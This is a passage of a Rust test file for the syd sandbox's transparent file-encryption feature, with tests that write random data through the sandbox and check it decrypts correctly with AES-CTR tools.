
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(128):
    print(num)
EOF

python primegen.py > primes.lst
dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
while read -r -d$'\n' num; do
    dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
done < primes.lst
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("awk", "bash", "dd", "python", "split", "tee", "wc");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let syd_cpu = &SYD_CPU.to_string();
    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(format!(
            r##"
cat >primegen.py <<'EOF'
def primegen(limit):
  from math import sqrt
  primes = [2]
  for num in range(3, limit, 2):
    is_prime = True
    square_root = int(sqrt(num))
    for prime in primes:
      if num % prime == 0:
        is_prime = False
        break
      if prime > square_root:
        break
    if is_prime:
      yield num
for num in primegen(128):
    print(num)
EOF

python primegen.py > primes.lst
split -d -l $(( $(wc -l primes.lst | awk '{{print $1}}') / $({syd_cpu}) )) primes.lst prime-split-

dd if=/dev/null status=none | tee ./test.plain > ./test.crypt
set +x
for f in prime-split-*; do
    while read -r -d$'\n' num; do
        dd if=/dev/random bs=$num count=7 status=none | tee -a ./test.plain >> ./test.crypt
    done < "$f"
done
set -x
"##,
        ))
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_cmp_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_cmp_huge_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_single_cmp_rand_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_aes_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_single_aes_huge_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_single_aes_rand_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_cmp_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2M count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=3 status=none | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
wait
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_rand_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_rand_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_fuzz_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_rand | tee -a ./test.plain >> ./test.crypt
done
set -x

cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_fuzz_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_rand | tee -a ./test.plain >> ./test.crypt
done
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_zero_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/zero with random size and count
  dd if=/dev/zero bs=$random_size count=$random_count status=none
}

dd_zero | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_zero | tee -a ./test.plain >> ./test.crypt
done
set -x

cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_cmp_zero_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_zero() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/zero with random size and count
  dd if=/dev/zero bs=$random_size count=$random_count status=none
}

dd_zero | tee ./test.plain > ./test.crypt

# Generate a random number between 3 and 7 (inclusive)
# for the number of iterations
num_iterations=$(( RANDOM % 5 + 3 ))
set +x
for (( i=0; i<$num_iterations; i++ )); do
    dd_zero | tee -a ./test.plain >> ./test.crypt
done
set -x
cmp test.plain test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_aes_mild_copy() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=1M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=2M count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=3 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("dd", "sh", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["sh", "-cex"])
        .arg(
            r##"
dd if=/dev/random bs=8M count=5 status=none | tee ./test.plain > ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
dd if=/dev/random bs=16M count=1 status=none | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_rand_copy_seq() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

dd_rand | tee ./test.plain > ./test.crypt
dd_rand | tee -a ./test.plain >> ./test.crypt
"##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let syd_aes = &SYD_AES.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_key = &SYD_KEY.to_string();
    let status = Command::new("bash")
        .arg("-cex")
        .arg(format!(
            r##"
iv=$(dd if=test.crypt bs=1 skip=37 count=16 status=none | {syd_hex})
mv test.crypt test.syd
tail -c +54 test.syd > test.crypt
if test -x ./aes-ctr; then
    key=$(echo {key} | {syd_key} -tSYD-ENC)
    ./aes-ctr -d -k${{key}} -i${{iv}} < ./test.crypt > ./test-ssl.decrypt
    cmp test.plain test-ssl.decrypt
fi
{syd_aes} -v -d -k{key} -i${{iv}} -tSYD-ENC < ./test.crypt > ./test.decrypt
cmp test.plain test.decrypt
"##,
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_sandboxing_append_aes_rand_copy_mul() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("bash", "dd", "tee");
    build_openssl_aes_ctr();

    let key = syd::hash::Key::random().expect("getrandom").as_hex();
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/crypt:on")
        .m(format!("crypt/key:{key}"))
        .m(format!("crypt/tmp:{cwd}"))
        .m(format!("crypt+{cwd}/*.crypt"))
        .argv(["bash", "-cex"])
        .arg(
            r##"
# Simulates dd with random block sizes and count,
# with a maximum total size of 8MB.
dd_rand() {
  # Generate random size between 1 and 128 (inclusive).
  random_size=$((RANDOM % 128 + 1))

  # Generate random count between 1 and 128 (adjust for desired max size)
  # This ensures total size (count * block_size) won't exceed 8MB.
  max_count=$((8 * 1024 * 1024 / random_size)) # Adjust divisor for different max size.
  random_count=$((RANDOM % max_count + 1))

  # Read from /dev/random with random size and count
  dd if=/dev/random bs=$random_size count=$random_count status=none
}

